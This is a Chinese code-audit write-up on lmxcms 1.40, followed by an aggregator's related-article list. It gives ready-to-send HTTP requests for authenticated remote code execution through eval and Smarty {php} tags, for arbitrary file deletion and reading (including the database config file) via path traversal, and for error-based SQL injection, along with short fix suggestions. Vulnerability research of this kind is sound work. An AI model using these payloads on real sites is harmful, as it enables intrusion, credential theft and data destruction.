5、lxmcms1.40代码审计

一、RCE

1、RCE代码执行

代码

搜索代码执行关键字,找到函数里存在变量的文件

在这里插入图片描述

跟踪一下$temdata['data']
$data是从$temdata赋值的,$temdata从314行过来的,有个caijiDataOne函数接收的$_GET['cid'],也没有对变量做处理。

在这里插入图片描述

已知查询的数据库表是cj_data

在这里插入图片描述

要执行eval的话先触发showCjData()方法,在依次接收变量,控制变量cid结果为$temdata,在控制318行的值实现rce。需要一步一步的触发。但这里的方法是从数据库取出才会触发,不是从这个功能写入的。

在这里插入图片描述

定位到这个文件在admin下。再去看一下路由情况,先登录后台

在这里插入图片描述
在这里插入图片描述

所以可以将文件直接替换,定位到功能位置。但实际是从'执行sql'功能写入的内容

在这里插入图片描述

漏洞条件:

参数接收后执行eval('$data='这里面的输入的内容'')
点是连接符,//注释掉后面的
● 漏洞url: url1:http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
url2:http://lmxcmm1.41.com?admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1
● 漏洞参数:sqlstr
● 是否存在限制: 
● 是否还有其他条件:m=Sql&a=sqlset;m=Acquisi&a=showCjData&cid=1&id=1&lid=1

复现

POST /admin.php?&m=Sql&a=sqlset HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Sql&a=index&type=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: closesqlstr=INSERT+INTO+lmx_cj_data+%28id%2C+data%29+VALUES+%28%276%27%2C+%27666%3Bphpinfo%28%29%3B%2F%2F%27%29%3B&sqlsub=%E6%8F%90%E4%BA%A4
在这里执行一条sql语句将内容插入cj_data表中。查询的主要是id和data所以只需要插入这两个字段。
INSERT INTO lmx_cj_data (id, data) VALUES ('5', '666;phpinfo();//');

在这里插入图片描述

GET /admin.php?m=Acquisi&a=showCjData&cid=1&id=1&lid=1 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

在这里插入图片描述

修复

对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

2、后台代码执行

代码

搜索smarty模板。一般模板功能会出现eval函数的执行,因为有可能在前端页面通过php的代码去实现一些内容。首页、头部、尾页文件html。admin目录下的template文件。

在这里插入图片描述

在执行文件写入的时候也不会有限制

在这里插入图片描述

通过文件找到对应功能位置,果然是在模板调用时。

在这里插入图片描述

打开一个尾部html,发现和页面显示不同。要么是存储的变量,变量等于1.4。或者写道数据库了,通过model曾去出1.4然后显示。因为是个html文件,不能执行php代码,所以会引用eval强制执行造成rce

在这里插入图片描述

漏洞条件:

● 漏洞url: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default
● 漏洞参数:temcontent
● 是否存在限制: 
● 是否还有其他条件:使用smarty模板,m=Template

复现

POST /admin.php?m=Template&a=editfile&dir=default HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=default/footer.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=pu9aa35v02aabukef267n96k74
Connection: closetemcontent=%3Cdiv+class%3D%22footerBox+width%22%3E%0D%0A%09%3Cdiv+class%3D%22footer%22%3E%0D%0A++++++++%3Cp%3E%3C%7Bphp%7D%3Ephpinfo%28%29%3B%3C%7B%2Fphp%7D%3E%E6%88%91%E7%9A%84%E7%BD%91%E7%AB%99+%E7%89%88%E6%9D%83%E6%89%80%E6%9C%89+2014+%E6%B9%98ICP%E5%A4%878888888%3Cbr+%2F%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Elmxcms%3C%2Fa%3E+%3C%7B%24version%7D%3E+%C2%A92014+%3Ca+href%3D%22http%3A%2F%2Fwww.lmxcms.com%22%3Ewww.lmxcms.com%3C%2Fa%3E%3C%2Fp%3E%0D%0A++++%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E&filename=footer.html&settemcontent=%E6%8F%90%E4%BA%A4
查看如何编写这个标签

在这里插入图片描述
在这里插入图片描述

提交后访问前台首页

在这里插入图片描述

修复

对所有的输入进行严格的验证和清洁,并确保对外部输入的处理安全可控。

二、文件操作

1、后台文件上传

漏洞条件

● 漏洞url: url1:http://lmxcmm1.41.com/admin.php?&m=basic&a=seturl2:http://lmxcmm1.41.com/admin.php?m=Upload&a=swfuploadImg
● 漏洞参数:upload_file_pre、upload_image_pre、q_upload_file_pre
● 是否存在限制: 
● 是否还有其他条件:

复现

可以直接设置上传的文件类型

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、后台2处任意文件删除

代码

第一处:$filename = trim($_GET['filename']);,判断文件是否存在,如果 $filename 不为空,代码则调用 $this->delOne($filename); 方法尝试删除名为 $filename 的备份文件。直接执行删除操作。
第二处:$filename = $_POST['filename'];。如果获得的'filename'参数有值,它将对数组中的每一个元素(也就是每一个文件名)调用$this->delOne($v);方法,尝试删除对应的备份文件。
都调用了delOne()方法。

在这里插入图片描述

漏洞条件:

● 漏洞url: url1:http://lmxcmm1.41.com/admin.php?m=Backdb&a=delbackdb&filename=../../1.txturl2:http://lmxcmm1.41.com/admin.php?m=Backdb&a=delmorebackdb
● 漏洞参数:filename、filename[]
● 是否存在限制: 
● 是否还有其他条件:m=Backdb;a=delbackdb/  a=delmorebackdb

复现

第一处:
GET /admin.php?m=Backdb&a=delbackdb&filename=../../1.txt HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

在这里插入图片描述

第二处
POST /admin.php?m=Backdb&a=delmorebackdb HTTP/1.1
Host: lmxcmm1.41.com
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://lmxcmm1.41.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Backdb&a=backdbInList
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: closefilename%5B%5D=../../1.txt

在这里插入图片描述

修复建议

仔细验证和过滤用户输入,确保删除请求的文件名仅包含安全、有效的字符,并且限制在预设的文件目录中。其次,实施权限控制,只允许具有适当权限的用户执行删除操作。

3、任意文件读取

漏洞条件

● 漏洞url:  http://lmxcmm1.41.com/admin.php?m=Template&a=editfile&dir=../inc/db.inc.php
● 漏洞参数:dir
● 是否存在限制: 
● 是否还有其他条件:m=Template&a=editfile&dir

复现

GET /admin.php?m=Template&a=editfile&dir=../inc/db.inc.php HTTP/1.1
Host: lmxcmm1.41.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
X-Requested-With: XMLHttpRequest
Origin: http://lmxcmm1.41.com
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lmsb9v1t6oqq5eahqtq54jqij6
Connection: close

在这里插入图片描述

代码

file_get_contents搜索文件读取函数并且存在变量的。
检查 $path 指向的是否是一个文件,如果是,尝试读取文件内容。
如果不存在返回错误信息,否则返回读取的内容

在这里插入图片描述

跟踪getcon,TemplateAction.class.php文件的editfile方法调用了它。构造它只需要满足get方式接收dir参数

在这里插入图片描述

修复建议

对所有用户输入文件路径的处理进行严格的检查和清理,并确保仅限于访问安全、隔离的目录且拥有适当的权限。

三、SQL注入

1、后台sql注入

$name = trim($_POST['curr']); 判断$name变量存在就拼接where  sql语句

在这里插入图片描述
count–>countModel–>countDB–>query
同样跟踪到query会有报错语句回显
在这里插入图片描述

漏洞条件:

● 漏洞url: http://lmxcmm1.41.com/admin.php?m=Zt&a=ajax_data
● 漏洞参数:curr
● 是否存在限制: 
● 是否还有其他条件:m=Zt&a=ajax_data

复现

POST /admin.php?m=Zt&a=ajax_data HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Index&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 114curr=1'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA

在这里插入图片描述

修复建议

通过参数化查询、使用预编译的语句或存储过程、使用 ORM 工具、限制和审计输入数据、以及应用 Web 应用程序防火墙等方法来实现。

2、后台sql注入

代码

条件满足需要$_GET['searchSub']存在。接收name变量,然后拼接where查询语句

在这里插入图片描述

上面的这两个满不满足都可以
$classid = (int)$_GET['classid'];
$idStr = $_GET['id'];

漏洞条件

● 漏洞url:  http://lmxcmm1.41.com/admin.php?name=2&m=Zt&a=list_push&searchSub=%E6%90%9C%E7%B4%A2
● 漏洞参数:name
● 是否存在限制: 
● 是否还有其他条件:m=Zt&a=list_push&searchSub

复现

GET /admin.php?name=2'+AND+(SELECT+2*(IF((SELECT+*+FROM+(SELECT+database())s),+8446744073709551610,+8446744073709551610)))--+CAoA&m=Zt&a=list_push&searchSub=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: lmxcmm1.41.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://lmxcmm1.41.com/admin.php?m=Zt&a=index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=0lkdk4vkdl3hhfnsk3i2fmv925
Connection: close

在这里插入图片描述

修复建议

通过参数化查询、使用预编译的语句或存储过程、使用 ORM 工具、限制和审计输入数据、以及应用 Web 应用程序防火墙等方法来实现。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/510007.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

64 位世界中的 WinForms – 我们的未来战略

作者:Klaus Loeffelmann 排版:Alan Wang 作为一个依靠创新和发展而蓬勃发展的社区的一部分,WinForms 开发人员经常突破界限来创造新的可能性。我们的开发人员还负责维护业务软件的关键任务线,这通常需要十年以上的时间。我们重视您…

自动化神器 Playwright 的 Web 自动化测试解决方案!

Playwright认识 3. Playwright环境搭建 Playwright简介: 2020年,微软(Microsoft)开源了一个名为Playwright的工具,与Selenium一样入门简单,支持多语言(Python、Java、Node.js、.NET&#xff0…

Python爬虫——Urllib库-1

这几天都在为了蓝桥杯做准备,一直在刷算法题,确实刷算法题的过程是及其的枯燥且枯燥的。于是我还是决定给自己找点成就感出来,那么Python的爬虫就这样开始学习了。 注:文章源于观看尚硅谷爬虫视频后笔记 目录 Urllib库 基本使…

MybatisPlus的使用(一)--基本配置与无条件查询

创建测试用的数据库 CREATE DATABASE mybatis_plus /*!40100 DEFAULT CHARACTER SET utf8mb4 */; use mybatis_plus; CREATE TABLE user ( id bigint(20) NOT NULL COMMENT 主键ID, name varchar(30) DEFAULT NULL COMMENT 姓名 , age int(11) DEFAULT NULL COMMENT 年龄 , em…

W5300驱动说明

W5300是一款带有硬件协议栈的网络芯片,内部拥有128K的缓存,最大支持8路socket通信,与MCU之间通过16位数据总线通信,通信速度远超W5500之类以SPI作为通信接口的网络芯片,特别适合对高速网络传输有需求的应用。 本次使用…

thymeleaf 一个莫名其妙的错误提示 org.attoparser.ParseException

thymeleaf 一个莫名其妙的错误提示 介绍 开发过程中遇到一个莫名奇妙的错误,一时竟然不知道怎么解决,找官网也没有找到 问题 页面显示 错误日志 org.attoparser.ParseException: (Line 96, Column 5) Malformed markup: Attribute “}” appears m…

深入理解快速排序算法:从原理到实现

目录 1. 引言 2. 快速排序算法原理 3. 快速排序的时间复杂度分析 4. 快速排序的应用场景 5. 快速排序的优缺点分析 5.1 优点: 5.2 缺点: 6. Java、JavaScript 和 Python 实现快速排序算法 6.1 Java 实现: 6.2 JavaScript 实现&#…

如何在 Windows 上安装 ONLYOFFICE 文档 8.0

使用社区版,您可以在本地服务器上安装 ONLYOFFICE 文档,并将在线编辑器与 ONLYOFFICE 协作平台或其他热门系统集成在一起。 ONLYOFFICE 文档是什么 ONLYOFFICE 文档是一个功能强大的文档编辑器,支持处理文本文档、电子表格、演示文稿、可填写…

【计算机学习】-- 电脑的组装和外设

系列文章目录 文章目录 系列文章目录前言一、电脑的组装1.CPU2.主板3.显卡4.硬盘5.内存6.散热器7.电源8.机箱 二、电脑外设选用1.显示器2.鼠标3.键盘4.音响 总结 前言 一、电脑的组装 1.CPU 返回目录 认识CPU CPU,即中央处理器,负责电脑资源的调度安…

Kubernetes 学习总结(46)—— Pod 不停重启问题分析与解决

我们在做性能测试的时候,往往会发现我们的pod服务,频繁重启,通过kubectl get pods 命令,我们来逐步定位问题。 现象:running的pod,短时间内重启次数太多。 定位问题方法:查看pod日志 kubectl get event …

Golang pprof 分析程序的使用内存和执行时间

一、分析程序执行的内存情况 package mainimport ("os""runtime/pprof" )func main() {// ... 你的程序逻辑 ...// 将 HeapProfile 写入文件f, err : os.Create("heap.prof")if err ! nil {panic(err)}defer f.Close()pprof.WriteHeapProfile(f…

实在Agent智能体数字员工+Chat-IDP,烟草创新发展的新质生产力

2024开年伊始,中央高层发表重要讲话时明确就“发展新质生产力”提出新的要求,成为政策、市场等领域高频热词,以科技创新引领现代化产业体系建设,锚定培育人工智能等战略性新兴产业,为数字化增强发展新动能发挥更大作用…